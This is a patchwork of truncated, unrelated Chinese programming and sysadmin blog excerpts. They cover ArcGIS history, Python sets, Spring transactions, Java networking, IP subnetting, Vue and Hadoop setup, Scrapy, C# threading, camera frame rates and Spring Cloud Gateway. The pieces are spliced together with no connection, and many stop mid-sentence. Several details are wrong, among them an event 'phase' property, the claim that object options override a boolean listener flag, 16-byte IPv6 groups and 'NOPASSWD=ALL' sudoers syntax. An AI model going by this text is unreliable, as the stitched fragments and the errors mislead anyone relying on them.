Arc/Info是工作站产品,命令行模式运行,开始只能运行在工作站上,后来出现PC端产品,仍然为命令行模式,全称为ArcGIS Workstation。
(2)ArcView
1991年,ArcView1.0软件推出;
1994年,ArcView2.0、2.1发布;
1996年,ArcView3.0、3.1发布;
1999年,ArcView3.2发布;
2001年,ArcView8.1发布;
ArcView 是一款可提供地理数据显示、制图、管理、分析、创建和编辑的 GIS 桌面软件。用它可以创建许多不同来源数据的智能化的、动态的地图,用户可利用 ArcView 带有的工具和数据立即进行 GIS 分析和地图创建,它也是 ArcGIS 的入门软件。
(3)ArcGIS
2000年,ArcGIS8发布;
2004年,ArcGIS9发布;
2006年,ArcGIS9.2发布;
2008年,ArcGIS9.3发布;
2009年,ArcGIS9.3.1发布;
2010年,ArcGIS10发布;
2012年,ArcGIS10.1发布;
2013年,ArcGIS10.2(最后版本10.2.2)发布;
2014年,ArcGIS10.3(最后版本10.3.1)发布;
2015年,ArcGIS10.4(最后版本10.4.1)发布,ArcGIS Pro1.0(最后版本1.0.2)、1.1(最后版本1.1.1)发布;
2016年,ArcGIS10.5(最后版本10.5.1)发布,ArcGIS Pro1.2、1.3(最后版本1.3.1)发布;
2017年,ArcGIS Pro1.4、2.0(最后版本2.0.1)发布;
2018年,ArcGIS10.6(最后版本10.6.1)发布,ArcGIS Pro2.1、2.2(最后版本2.2.3)发布;
2019年,ArcGIS10.7(最后版本10.7.1)发布,ArcGIS Pro2.3(最后版本2.3.3)、2.4(最后版本2.4.3)发布;
2020年,ArcGIS10.8(最后版本10.8.2)发布,ArcGIS Pro2.5(最后版本2.5.2)、2.6(最后版本2.6.10)、2.7(最后版本2.7.7)发布;
2021年,ArcGIS10.8.2发布(此版本为ArcGIS Desktop的最终版本,后续不在更新,ArcGIS Enterprise、ArcGIS Pro等还会继续更新);
2021年,ArcGIS Enterprise10.9发布(ArcGIS Enterprise包含ArcGIS Server 、ArcGIS Enterprise 门户、ArcGIS Data Store、ArcGIS Web Adaptor 四个组件)、ArcGIS Pro2.
目录
1 常规应用快捷键
2 动画快捷键
3 内容窗格快捷键
4 数据工程试图快捷键
5 编辑工具快捷键
5.1 常规编辑
5.3 选择工具
5.4 表
5.5 文本格式化标签
5.6 编辑注记
5.7 移动
5.8 旋转
5.9 比例
5.10 编辑折点
5.11 几何属性表
5.12 创建注记
5.13 创建点要素
5.14 创建折线和面要素
5.15 创建弧线段/创建终点弧线段
5.16 通过追踪创建
5.17 通过流创建
5.18 创建圆
5.19 创建椭圆
5.20 创建矩形
5.21 高程工具
5.22 拓扑错误检查器
6 探索性分析
6.1 选定了观察点的视线
6.2 选定了目标的视线
6.3 所选视域
6.4 所选剖切
7 布局视图
8 地图导航
9 增强“浏览”工具编辑
1. 集合是什么: Python中的集合(set)与数学中集合的概念类似。集合是用于存储不重复的元素。它可以分为可变集合(set)和不可变集合(frozenset)两种类型,即集合可以为可变数据类型也可以为不可变数据类型。
集合的特性:
· 无序性 : 元素之间没有确定的顺序。
· 互异性 :集合中不会出现重复元素。
· 确定性 : 元素和集合之间只存在属于和不属于的关系。
2. 集合的创建: 2.1 语法: 变量名 = {元素1,元素2,... ,元素n} se1 = {10, 20, 30, 40, 50} 注意:创建空集合需要使用set()创建,不能直接用{},否则创建的会是一个字典。
a = {} print(type(a)) a = set() print(type(a)) 2.2 集合可去掉重复元素 se2 = {10,20,40,10,20,10} print(se2) 注意:我们可以利用集合可以去掉重复元素这一特性来判断一个序列中的每一个元素是否具有唯一这一特性,有便于我们对数据的整理。
li1 = [1, 1, 2, 4, 6, 2] if len(set(li1)) == len(li1): print("该列表中不存在重复元素") else: print("该列表中存在重复元素") 集合数据是无序的,因此我们并不能使用下标进行访问集合内的元素。
se2 = {10, 20, 40, 10, 20, 10} print(se2[1]) 3.
人人都能看懂的Spring源码解析,Spring声明式事务是如何实现的 原理解析基本原理事务的基本操作编程式事务通过 TransactionManager实现的编程式事务通过TransactionTemplate实现的编程式事务 声明式事务 核心组件PlatformTransactionManagerTransactionStatusTransactionDefinitionTransactionAttributeTransactionInfoTransactionAttributeSourceTransactionInterceptorBeanFactoryTransactionAttributeSourceAdvisor 代码走读总结 往期文章:
人人都能看懂的Spring底层原理,看完绝对不会懵逼简单易懂的Spring扩展点详细解析,看不懂你来打我人人都能看懂的Spring源码解析,配置解析与BeanDefinition加载注册简单易懂又非常牛逼的Spring源码解析,ConfigurationClassPostProcessor的具体逻辑简单易懂值得收藏的Spring源码解析,依赖注入和bean的初始化人人都能看懂的Spring源码解析,Spring如何解决循环依赖人人都能看懂的Spring源码解析,Spring如何处理AOP 原理解析 基本原理 事务的基本操作 事务的基本操作一共分为四步:
开启事务在try块中执行业务逻辑如果报错,在catch块中回滚事务执行业务逻辑成功,提交事务 伪代码:
// 开启事务 try { // 执行业务逻辑 } catch (Exception e) { // 回滚事务 } // 提交事务 编程式事务 要了解Spring声明式事务,首先要了解Spring编程式事务,因为Spring声明式事务是对编程式事务的简化,是基于编程式事务而来的。
Spring编程式事务有两种实现方式,一种是通过 TransactionManager(事务管理器) 实现,一种是通过 TransactionTemplate(事务模板) 实现。
通过 TransactionManager实现的编程式事务 @Autowired private PlatformTransactionManager tm; public void test() { DefaultTransactionDefinition dte = new DefaultTransactionDefinition(); dte.setIsolationLevel(TransactionDefinition.ISOLATION_REPEATABLE_READ); dte.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED); TransactionStatus status = tm.getTransaction(dte); try { doSomething(); } catch (RuntimeException e) { tm.rollback(status); } tm.commit(status); } TransactionDefinition 是用于定义事务属性的接口,而DefaultTransactionDefinition 是它的默认实现类,可以设置事务的隔离级别和传播特性。
【网络编程】 今日内容 软件架构CS/BS网络通信三要素TCP通信Socket套接字ServerSocket文件上传自定义服务器 第一章 网络编程入门 1.1软件结构 C/S结构 :全称为Client/Server结构,是指客户端和服务器结构。常见程序有QQ、迅雷等软件。 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HDgu5IgJ-1682155696301)(img/1_cs.jpg)]
B/S结构 :全称为Browser/Server结构,是指浏览器和服务器结构。常见浏览器有谷歌、火狐等。 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TeUEZziw-1682155696302)(img/2_bs.jpg)]
两种架构各有优势,但是无论哪种架构,都离不开网络的支持。网络编程,就是在一定的协议下,实现两台计算机的通信的程序。
1.2 网络通信协议 **网络通信协议:**通信协议是对计算机必须遵守的规则,只有遵守这些规则,计算机之间才能进行通信。这就好比在道路中行驶的汽车一定要遵守交通规则一样,协议中对数据的传输格式、传输速率、传输步骤等做了统一规定,通信双方必须同时遵守,最终完成数据交换。
TCP/IP协议: 传输控制协议/因特网互联协议( Transmission Control Protocol/Internet Protocol),是Internet最基本、最广泛的协议。它定义了计算机如何连入因特网,以及数据如何在它们之间传输的标准。它的内部包含一系列的用于处理数据通信的协议,并采用了4层的分层模型,每一层都呼叫它的下一层所提供的协议来完成自己的需求
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2CGHs6gE-1682155696302)(img/3_tcp_ip.jpg)]
1.4 网络编程三要素 协议 **协议:**计算机网络通信必须遵守的规则. IP地址 IP地址:指互联网协议地址(Internet Protocol Address),俗称IP。要想使网络中的计算机能够进行通信,必须为每台计算机指定一个标识号,通过这个标识号来指定接受数据的计算机或者发送数据的计算机。
在TCP/IP协议中,这个标识号就是IP地址,它可以唯一标识一台计算机,目前,IP地址广泛使用的版本是IPv4,它是由4个字节大小的二进制数来表示,如:00001010000000000000000000000001。由于二进制形式表示的IP地址非常不便记忆和处理,因此通常会将IP地址写成十进制的形式,每个字节用一个十进制数字(0-255)表示,数字间用符号“.”分开,如 “192.168.1.100”。
随着计算机网络规模的不断扩大,对IP地址的需求也越来越多,IPV4这种用4个字节表示的IP地址面临枯竭,因此IPv6 便应运而生了,IPv6使用16个字节表示IP地址,它所拥有的地址容量约是IPv4的8×1028倍,达到2128个(算上全零的),这样就解决了网络地址资源数量不够的问题。
IP地址分类
IPv4:是一个32位的二进制数,通常被分为4个字节,表示成a.b.c.d 的形式,例如192.168.65.100 。其中a、b、c、d都是0~255之间的十进制整数,那么最多可以表示42亿个。
IPv6:由于互联网的蓬勃发展,IP地址的需求量愈来愈大,但是网络地址资源有限,使得IP的分配越发紧张。有资料显示,全球IPv4地址在2011年2月分配完毕。
为了扩大地址空间,拟通过IPv6重新定义地址空间,采用128位地址长度,每16个字节一组,分成8组十六进制数,表示成ABCD:EF01:2345:6789:ABCD:EF01:2345:6789,号称可以为全世界的每一粒沙子编上一个网址,这样就解决了网络地址资源数量不够的问题。
常用命令
查看本机IP地址,在控制台输入: ipconfig 检查网络是否连通,在控制台输入: ping 空格 IP地址 ping 220.181.57.216 ping www.baidu.com 特殊的IP地址
本机IP地址:127.0.0.1、localhost 。 端口号 网络的通信,本质上是两个进程(应用程序)的通信。每台计算机都有很多的进程,那么在网络通信时,如何区分这些进程呢?
如果说IP地址可以唯一标识网络中的设备,那么端口号就可以唯一标识设备中的进程(应用程序)了。
**端口号:用两个字节表示的整数,它的取值范围是065535**。其中,01023之间的端口号用于一些知名的网络服务和应用,普通的应用程序需要使用1024以上的端口号。如果端口号被另外一个服务或应用所占用,会导致当前程序启动失败。 利用协议+IP地址+端口号 三元组合,就可以标识网络中的进程了,那么进程间的通信就可以利用这个标识与其它进程进行交互。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tWYlpifJ-1682155696303)(img\ip和端口.png)]
从上图中可以清楚地看到,位于网络中一台计算机可以通过IP地址去访问另一台计算机,并通过端口号访问目标计算机中的某个应用程序。
1.5 InetAddress 了解了IP地址的作用,我们看学习下JDK中提供了一个InetAdderss类,该类用于封装一个IP地址,并提供了一系列与IP地址相关的方法,下表中列出了InetAddress类的一些常用方法.
方法描述static InetAddress getByName(String host)在给定主机名的情况下确定主机的 IP 地址。static InetAddress getLocalHost()返回本地主机public String getHostName()获取此 IP 地址的主机名。public String getHostAddress()返回 IP 地址字符串(以文本表现形式)。 上图中,列举了InetAddress的四个常用方法。其中,前两个方法用于获得该类的实例对象,第一个方法用于获得表示指定主机的InetAddress对象,第二个方法用于获得表示本地的InetAddress对象。通过InetAddress对象便可获取指定主机名,IP地址等,接下来通过一个案例来演示InetAddress的常用方法,如下所示。
对一些项进行注释 如bib文件中参考文献条目中的一些项注释,可以通过改变项名来实现,因为tex对于编译时会忽略无意义的项。例如,将下面的title和year注释:
@book{Gelman03, Author = {Andrew Gelman and John B. Carlin and Hal S. Stern and Donald B. Rubin}, Isbn = {158488388X}, Publisher = {Chapman and Hall/CRC}, Title = {Bayesian Data Analysis}, Year = {2003}} 注释后的形式为:
@book{Gelman03, Author = {Andrew Gelman and John B. Carlin and Hal S. Stern and Donald B. Rubin}, Isbn = {158488388X}, Publisher = {Chapman and Hall/CRC}, XTitle = {Bayesian Data Analysis}, XYear = {2003}} 因为XTitle和XYear是无意义的项。
安装node node官网https://nodejs.org/en/download 下载mac 版本的node安装包,下载完之后双击打开安装包
一直点击继续即可安装完成
打开命令窗口,输入node -v 出现node版本即可证明安装成功
设置npm国内源 淘宝源 npm config set registry https://registry.npmmirror.com cnpm(淘宝定制,速度快)安装 npm install -g cnpm --registry=https://registry.npmmirror.com 使用 cnpm install xxx yarn 安装 npm install -g yarn 修改国内源 yarn config set registry https://registry.npm.taobao.org/ vue-cli安装 yarn global add @vue/cli 打开命令行输入vue -V 显示版本好即可证明安装成功
创建vue项目 vue create 项目名 选择vue3/vue2 默认模版,或者自定义模版
自定义模版(按空格键选中/取消选中)
Babel: javascript编译器TypeScript:支持ts语法Router: 路由导航Vuex:状态管理CSS Pre-processors:css预处理器Linter / Formatter:代码检测工具Unit Testing:单元测试工具E2E Testing:端到端测试工具
按enter 键进行下一步
选择vue版本(2/3)
选择路有模式,是否使用mode模式
选择css预处理器 选择代码检测配置
选择何时进行代码检测,此处选择在保存时进行检测, 选择 Lint on save
安装依赖
yum install libncurses*
权限控制
<hasPerm.js> import useUserStore from '@/store/modules/user' export default { mounted(el, binding, vnode) { const { value } = binding const all_permission = "*-*-*"; const permissions = useUserStore().permissions if (value && value instanceof Array && value.length > 0) { const permissionFlag = value const hasPermissions = permissions.some(permission => { return all_permission === permission || permissionFlag.includes(permission) }) if (!hasPermissions) { el.parentNode && el.parentNode.removeChild(el) } } else { throw new Error(`请设置操作权限标签值`) } } } <store->user.
文章目录 前言一、分类地址二进制表示的特点二、私有ip地址三、子网聚合四、个别题目 前言 本篇博客主要记录计算机网络第四章网络层IP地址的一些题目的解析,以便后来查看,若有错误的地方,欢迎指正。
一、分类地址二进制表示的特点 A类地址的网络标识由第一组8位二进制数表示,A类地址的特点是网络标识的第一位二进制数取值必须为 “0”。A类地址第一个地址为00000001,最后一个地址是01111111,换算成十进制就是127,其中127留作保留地址,A类地址的第一段范围是:1.0.0.1~126.255.255.254。
B类地址的网络标识由前两组8位二进制数表示,网络中的主机标识占两组8位一进制数,B类地址的特点是网络标识的前两位二进制数取值必须为“10”。B类地址第一个地址为 10000000,最后一个地址是10111111,换算成十进制B类地址第一段范围就是128.0.0.1~191.255.255.254。
C类地址的网络标识由前3组8位二进制数表示,网络中主机标识占1组8位二进制数,C类地址的特点是网络标识的前3位二进制数取值必须为“110”。C类地址第一个地址为 11000000,最后一个地址是11011111,换算成十进制C类地址第一段范围就是192.0.0.1~223.255.255.254。
二、私有ip地址 A类:10.0.0.1 ~ 10.255.255.254
B类:172.16.0.1 ~ 172.31.255.254
C类:192.168.0.1 ~ 192.168.255.254
三、子网聚合 解析:因为CIDR没有A类、B类、C类的地址划分概念,IP地址由网络前缀的主机号组成,/30表示网络前缀有30位,剩下的就是主机号。根据题意可看出,8个地址块的前24位肯定相同,将其分别转化为二进制,可看出前27位均相同,则可以聚合为网络位是27的地址块,实际上,10.0.6.32/27-10.0.6.63/27中任何一个均可以。
四、个别题目 (1)某部门申请到一个C类IP地址段,若要平分成8个子网,其子网掩码应为()。
解析:
本身C类地址子网掩码为255.255.255.0,要再划分成8个子网(实际上只能划分为2的整数次幂,需要3bit来表示),所以,从8位主机号中再分出3位表示子网,掩码为11111111.11111111.11111111.11100000,即为255.255.255.224。
(2)如果IP地址为192.10.11.19,地址掩码为255.255.255.128,那么该地址所在网络的直接广播地址是______()。
解析:
补充:可用IP范围即网络地址和广播地址中间的地址
网络地址:IP地址网络位不变,主机位变0,再化成十进制
广播地址:IP地址网络位不变,主机位变1,再化成十进制
(3)对于C类IP地址段192.100.100.0,若子网掩码是255.255.255.192,可以划分______个子网,每个子网包含______主机地址。
解析:
192用二进制表示就是1100 0000,所以子网数是2的2次方,4个(前两位可取10,01,11,00),主机地址就是2的6次方减2(因为不包括网络地址和广播地址所以要减2),62个。
另外,C类IP的子网掩码前三个为255.255.255,所以最多4个。
安装mysql8报错
解决办法
yum install http://mirror.centos.org/centos/8-stream/AppStream/x86_64/os/Packages/compat-openssl10-1.0.2o-3.el8.x86_64.rpm
事件系统对于游戏项目来说是必不可少的系统模块,它能够有效地降低代码的耦合度。
using System; using System.Collections.Generic; namespace TEngine.Runtime { /// <summary> /// 事件数据 /// </summary> class DEventDelegateData { /// <summary> /// 事件ID /// </summary> private int m_eventType = 0; /// <summary> /// 该事件所有的委托回调列表 /// </summary> public List<Delegate> m_listExist = new List<Delegate>(); /// <summary> /// 待新增的回调列表 /// </summary> private List<Delegate> m_addList = new List<Delegate>(); /// <summary> /// 待移除的回调列表 /// </summary> private List<Delegate> m_deleteList = new List<Delegate>(); /// <summary> /// 是否在执行回调中 /// </summary> private bool m_isExcute = false; /// <summary> /// 是否已经脏了 /// </summary> private bool m_dirty = false; public DEventDelegateData(int evnetType) { m_eventType = evnetType; } /// <summary> /// 添加事件回调 /// </summary> /// <param name="
php 连接 clickhouse 数据库 连接数据库并获取数据 php 没有直接的包来连接数据库 需要自己搭建或者找到相应的包 我是从网站上直接找打包 直接使用可以成功的连接https://github.com/smi2/phpClickHouse/tree/e27b04d482e9922df8bf1ea0880bf2985d2e06d0
连接数据库并获取数据 <?php include_once __DIR__ . '/phpClickHouse-master/include.php'; $config =[ //connect db 'host' => '', 'port' => '', 'username' => '', 'password' => '', 'auth_method' => 1, // On of HTTP::AUTH_METHODS_LIST ]; $db = new ClickHouseDB\Client($config); //$db->verbose(); $db->settings()->readonly(false); $result = $db->select( 'SELECT * from tb where date>\'2022-01-01\' and date<\'2022-02-01\' order by date desc limit 100', ); $result->fetchOne(); $result->rows(); print_r($result); ?>
一.检查IP地址 出现IP地址没有情况即网络出现问题
1.查看网络配置文件
[root@mysql2 ~]# cd /etc/sysconfig/network-scripts/
[root@mysql2 network-scripts]# ls
ifcfg-ens33 ifdown-ippp ifdown-routes ifup ifup-ipv6 ifup-ppp ifup-tunnel
ifcfg-lo ifdown-ipv6 ifdown-sit ifup-aliases ifup-isdn ifup-routes ifup-wireless
ifdown ifdown-isdn ifdown-Team ifup-bnep ifup-plip ifup-sit init.ipv6-global
ifdown-bnep ifdown-post ifdown-TeamPort ifup-eth ifup-plusb ifup-Team network-functions
ifdown-eth ifdown-ppp ifdown-tunnel ifup-ippp ifup-post ifup-TeamPort network-functions-ipv6
[root@mysql2 network-scripts]#vim ifcfg-ens33
2.nmcli 是networkmanager服务的客户端工具
nmcli - command-line tool for controlling NetworkManager
[root@sc-server ~]# nmcli n 查看你的网络是否启用
enabled
[root@sc-server ~]# nmcli n off 禁用网络功能
工业相机参数之帧率相关知识详解 工业相机是机器视觉系统的重要组成部分之一,在机器视觉系统中有着非常重要的作用。工业相机已经被广泛应用于工业生产线在线检测、智能交通,机器视觉,科研,军事科学,航天航空等众多领域。
工业相机的主要参数包括:分辨率、帧率、像素、像元尺寸、光谱响应特性等。下面我们来对工业相机帧率的相关知识进行讲解:
帧率(Frame rate)是用于测量显示帧数的量度。所谓的测量单位为每秒显示帧数(Frames per Second),简称:FPS或“赫兹”(Hz)。
由于人类眼睛的特殊生理结构,如果所看画面之帧率高于16fps的时候,就会认为是连贯的,此现象称之为视觉暂留。这也就是为什么电影胶片是一格一格拍摄出来,然后快速播放的。
每秒的帧数(fps)或者说帧率表示图形处理器处理场时每秒钟能够更新的次数。高的帧率可以得到更流畅、更逼真的动画。一般来说30fps就是可以接受的,但是将性能提升至60fps则可以明显提升交互感和逼真感,但是一般来说超过75fps一般就不容易察觉到有明显的流畅度提升了。如果帧率超过屏幕刷新率只会浪费图形处理的能力,因为监视器不能以这么快的速度更新,这样超过刷新率的帧率就浪费掉了。
最大帧率(Frame Rate)/行频(Line Rate):即相机采集传输图像的速率,对于面阵相机一般为每秒采集的帧数(Frames/Sec.),对于线阵相机为每秒采集的行数(Hz)。
相机帧率和曝光时间的关系 有人问,为什么我们在使用工业相机的时候,将相机的曝光时间增加以后,相机的帧率就下降,而且下降得很厉害,相机的帧率和曝光的关系是怎样,如果想要获得固定的帧率,相机的曝光时间应该怎么设置?因此写下本文,解答了朋友的问题,也使用Sentech相机来做过相关的测试,帧率和曝光时间跟本文中所述一致。详细原理见下文所示:
Exposure and Sensor Readout
相机上的图像采集过程包括两个截然不同的部分。第一部分是曝光。曝光完成后,进行第二部分Readout过程即从传感器的寄存器中读出数据并传送出去(Readout过程)。
关于图像采集过程中,相机操作有两种常见的方法:“non-overlapped”的曝光和“overlapped”的曝光。在非重叠(“non-overlapped”)模式中,每个图像采集的周期中,相机在下一个图像采集开始前,均要完成曝光/读出整个过程。如图1所示。
Fig.1 Non-overlapped Exposure 虽然非重叠(“non-overlapped”)的模式,可适合于许多情况下,但它并不是最有效的方式。为了提高相机的帧率,允许在下一帧图像开始曝光时候,将前一帧获得的图像数据读出并传送出去。相机“重叠”(“overlapped”)曝光的方式见图2所示。
从图2中我们可以看到,相机读出数据和下一帧曝光开始出现重叠的情况,在同一个时刻内,相机执行两个操作,导致在同样的单位时间内,在“overlapped”曝光模式下,可以采集到更多的图片,即相机的帧率更高。
Fig.2 overlapped Exposure 从上边两个图中,我们可以知道在“non-overlapped”的曝光和“overlapped”的曝光模式底下,一帧图像的周期存在着这样的关系: "overlapped”的曝光模式下: FramePeriod ≤Exposure Time + ReadoutTime
“non-overlapped”的曝光模式下:FramePeriod > Exposure Time + Readout Time
以STC-A202A为例:
图1 Spec 从Spec中可知,其Pixel Frequency为:36.8181MHz,所以1Clock的时间为1/36.8181Mhz =27.3836ns,接下来我们看相机的Timing chart,首先先看HorizontalTiming,见图2所示:
图2 Horizontal Timing 从图2中,我们从中可读到的信息为,1 CLK=27.1605 nseconds,和我们从spec上得到的Pixel Frequency算出来的时间差不多。扫描1Horizontal需要1920CLK,即1H =27.1605*1920 =52148.16ns=52.14816us
接下来看相机Vertical Timing 见图3所示:
图3 Vertical Timing 从图3中,我们可读出的信息为,1H=52.1482useconds,和我们通过图2计算出来horizontal Scanning的时间一致,而在一帧图像中,需要扫描1252H,其中Effective Pixels为1220H,即1帧图像中,Effective Pixels Read out的时间为1220*52.
文档:
https://square.github.io/okhttp/https://github.com/square/okhttp 依赖
<dependency> <groupId>com.squareup.okhttp3</groupId> <artifactId>okhttp</artifactId> <version>4.8.1</version> </dependency> <dependency> <groupId>com.google.code.gson</groupId> <artifactId>gson</artifactId> <version>2.8.6</version> </dependency> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.13</version> <scope>test</scope> </dependency> 代码示例
package com.demo; import com.google.gson.Gson; import okhttp3.*; import org.junit.Test; import java.io.IOException; import java.util.HashMap; import java.util.Map; public class Demo { public static final MediaType JSON = MediaType.parse("application/json; charset=utf-8"); /** * 发送GET请求 */ @Test public void getRequest() throws IOException { OkHttpClient client = new OkHttpClient(); Request request = new Request.Builder() .url("http://httpbin.org/get") .build(); Response response = client.
算法开章咯 这次是csp-j组算法
枚举法hashvector结构体queuestack贪心-简单贪心区间递归二分setmap二叉树图的遍历-邻接矩阵迷宫问题-dfs-深度优先搜素bfs-广度优先搜索动态规划-简单动态规划-01背包动态规划-背包-多重背包二分答案 算法是什么嘛,懒得介绍了,自己看!
时间复杂度 时间复杂度就是用来方便人估算出程序的运行时间所创的,一般程序如果运行超过1亿次就大概超时了,比如枚举法,枚举经常需要通过很多循环来得到答案,举个例子枚举用了两重 for 循环每一层循环10万次,10万乘10万等于100亿,这就超了很多,如果还是用了两重循环,每重循环 n 次,时间复杂度就是O()。
1,O(1)代码
s=a*b; cout<<s; 2,O(n)代码
for(int i=0;i<=n;i++){ cout<<i<<" "; } 3,O(log(n))代码
int bin(int left,int right,int key){//二分 while(left<=right){ int mid=(right+left)/2; if(key==a[mid]){ return mid; } if(key>a[mid]){ left=mid+1; } if(key<a[mid]){ right=mid-1; } } return -1; } 4,O(n*log(n))
sort(a,a+n);//快排 5,O()
for(int i=1;i<=n;i++){ for(int j=1;j<=n;j++){ cout<<"点赞,收藏"<<" "; } } 空间复杂度 一般是256M,超不了,哈希就是用空间换时间。
本章节结束!!!
addEventListener 方法的第三个参数可以是一个布尔值、一个对象,或者是省略不填。
布尔值 addEventListener 方法的第三个参数是一个布尔值,表示事件是在捕获阶段还是在冒泡阶段处理。
如果这个参数为 true,那么事件是在捕获阶段处理的;如果这个参数为 false(或者省略不填),那么事件是在冒泡阶段处理的。
在捕获阶段和冒泡阶段中,事件处理程序可以通过 event 对象的 phase 属性来识别当前所处的阶段。如果 phase 属性的值为 1,则代表捕获阶段;如果 phase 属性的值为 2,则代表目标阶段;如果 phase 属性的值为 3,则代表冒泡阶段。
对象 这个对象可以包含三个属性:
capture:布尔值,表示监听器是否在捕获阶段执行。once:布尔值,表示监听器是否仅执行一次。passive:布尔值,表示监听器不会调用 preventDefault()。 例如,以下代码使用了对象参数来注册一个仅执行一次的事件监听器:
element.addEventListener('click', myClickHandler, { once: true }); 注意,当对象参数和布尔值参数同时使用时,对象参数会优先生效。
scrapy 英文文档:https://docs.scrapy.org/en/latest/index.html
scrapy 中文文档:https://www.osgeo.cn/scrapy/index.html
参考:https://piaosanlang.gitbooks.io/spiders/content/
1、爬虫框架 github 爬虫 框架
:https://github.com/search?q=爬虫+框架:https://github.com/search?q=spider 常用爬虫框架 爬虫框架中比较好用的是 Scrapy 和 PySpider。
PySpider 文档:https://docs.pyspider.org/en/latest/Quickstart/
github:https://github.com/binux/pyspider
优点:分布式框架,上手更简单,操作更加简便,因为它增加了 WEB 界面,写爬虫迅速,集成了phantomjs,可以用来抓取js渲染的页面。
缺点:自定义程度低
Scrapy 文档:https://docs.scrapy.org/en/latest/
中文文档 ( 版本比较旧 ) :https://www.osgeo.cn/scrapy/intro/overview.html
优点:自定义程度高,比 PySpider 更底层一些,适合学习研究,需要学习的相关知识多,拿来研究分布式和多线程等等是最合适不过的。
缺点:非分布式框架(可以用 scrapy-redis 分布式框架)
Pycharm 中调试 scrapy 爬虫的两种方法 通常,运行scrapy爬虫的方式是在命令行输入scrapy crawl <spider_name>,调试的常用方式是在命令行输入scrapy shell <url_name>。总的来说,调试方法比较单一。其实,还有两种调试方法,可以在pycharm中实现调试。
使用 scrapy.cmdline 的 execute 方法 首先,在项目文件 scrapy.cfg 的同级建立 main.py 文件(注意,必须是同级建立),在其中键入如下代码:
from scrapy import cmdline import sys import os sys.path.append(os.path.dirname(os.path.abspath(__file__))) # 你需要将此处的spider_name替换为你自己的爬虫名称 cmdline.execute(['scrapy', 'crawl', 'spider_name']) # 或者 cmdline.
使用xshell上传文件提示-bash: rz: command not found 解决办法:在Linux主机上,安装上传下载工具包rz及sz
*如果不知道你要安装包的具体名称,可以使用yum provides /name 进行查找系统自带软件包的信息;
yum provides */rz 一般会列出软件包的名称及版本,还有安装路径;查询到软件包名后,使用yum install -y 包名 进行安装。
lrzsz包安装完成后包括上传rz、下载sz命令;只需要安装这个包即可
yum install -y lrzsz
C#及.NETFramwork中多线程的使用 C#+.NETFramwork开发多线程解决界面卡死问题的完美解决方案C#中使用多线程C#调用线程无法访问此对象,因为另一个线程拥有该对象.--解决方法错误复现解决办法 C#多线程开发:线程挂起,恢复与中止等操作 C#+.NETFramwork开发多线程解决界面卡死问题的完美解决方案 参考网址:**C#多线程解决界面卡死问题的完美解决方案
问题描述:
当我们的界面需要在程序运行中不断更新数据时,当一个textbox的数据需要变化时,为了让程序执行中不出现界面卡死的现像,最好的方法就是多线程来解决
一个主线程来创建界面,使用一个子线程来执行程序并更新主界面
这样就不会出现卡死的现像了
这肯定是没有问题的,
但是为什么在使用的过程中一样会有很多地方会出现卡死呢,这个问题其实也困或了我很久,但是今天终于解决了,而且我发现很多人有这样的问题,所以我分享一个例子方便大家参考吧。
先来看看我的界面
当我单击
开始执行后
这个时候界面是不会卡死的,
只是数据在不断的更新
下面看看我的代码
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; using System.Threading; namespace WindowsFormsApplication3 { public partial class Form1 : Form { public Form1() { InitializeComponent(); } //创建一个委托,是为访问TextBox控件服务的。 public delegate void UpdateTxt(string msg); //定义一个委托变量 public UpdateTxt updateTxt; //修改TextBox值的方法。 public void UpdateTxtMethod(string msg) { richTextBox1.AppendText(msg + "\r\n"); richTextBox1.
(一)hadoop的安装 欢迎来到语语的自习笔记课堂一、基础安装1. 确保有外网2. 安装依赖3. 关闭防火墙4. 创建一个普通用户5. 给普通用户申请使用root权限功能6.创建两个目录7. 改变用户的所有用户和所有组 二、软件安装1.JDK2.克隆虚拟机 欢迎来到语语的自习笔记课堂 笨鸟先飞早入林,笨人勤学早成材。 -- 《省世格言》 一、基础安装 1. 确保有外网 ping www.baidu.com 2. 安装依赖 安装时选择最小安装的才执行这一步
//yum时前提有网 yum install -y [安装包名] yum install -y epel-release yum install -y net-tools yum install -y vim 3. 关闭防火墙 systemctl stop firewalld //先关后删 默认开机自启 systemctl disable firewalld.service 4. 创建一个普通用户 useradd yswn passwd yswn 5. 给普通用户申请使用root权限功能 vim /etc/sudoers //进入后下滑找到**%wheel ALL=(ALL)**,在其下面一行接: yswn ALL=(ALL) NOPASSWD=ALL NOPASSWD:没有密码
6.创建两个目录 //不是递归,opt目录已存在,不用"-p" mkdir /opt/module //解压缩包用 mkdir /opt/software //上传压缩包用 扩:mkdir -p //递归创建 7.
Springcloud -网关篇Gateway断言工厂和过滤器详讲及跨域问题配置 3.3 路由断言工厂Route Predicate Factory 3.3.1 Spring提供的十一种基本的Predicate工厂(可查阅官方文档,无需死记硬背) 3.3.2 以After为例演示断言工厂 配置orderservice的路由断言,After即在规定的时候才可访问
- id: order-service #路由id 可自定义但要保证唯一性 uri: lb://orderservice #路由的目标地址 predicates: #判断请求是否符合路由规则的条件 - Path=/order/** - After=2031-04-13T15:14:47.433+08:00[Asia/Shanghai] 设置断言工厂之后,不符合断言规则,通过网关访问orderservice报404
将After设置为before即可成功访问
Before=2031-04-13T15:14:47.433+08:00[Asia/Shanghai] 3.4 路由过滤器GatewayFilter 3.4.1 用户在请求网关服务时候,先进入路由,再经过一系列过滤器链(如图所示) 3.4.2 以AddRequestHeader 为例演示 给所有进入userservice的请求添加一个请求头:Springcloud 666
1.在gateway中修改application.yml文件,给userservice的路由添加过滤器
- id: user-service #路由id 可自定义但要保证唯一性 uri: lb://userservice #路由的目标地址 predicates: #判断请求是否符合路由规则的条件 - Path=/user/** filters: - AddRequestHeader=Truth,springcloud 666 2.springmvc获取请求头
@GetMapping("/{id}") public User queryById(@PathVariable("id") Long id , @RequestHeader (value = "Truth",required = false)String truth) { System.
一、准备工作 下载:zabbix包 地址:下载Zabbix
准备2台openEuler-linux虚拟机:
linux-1:当服务器端 IP地址:192.168.100.100
修改hosts文件
[root@zbx ~]# vim /etc/hosts
192.168.100.100 zbx.xx.cn
linux-2:当客户端 IP地址:192.168.100.101 修改hosts文件
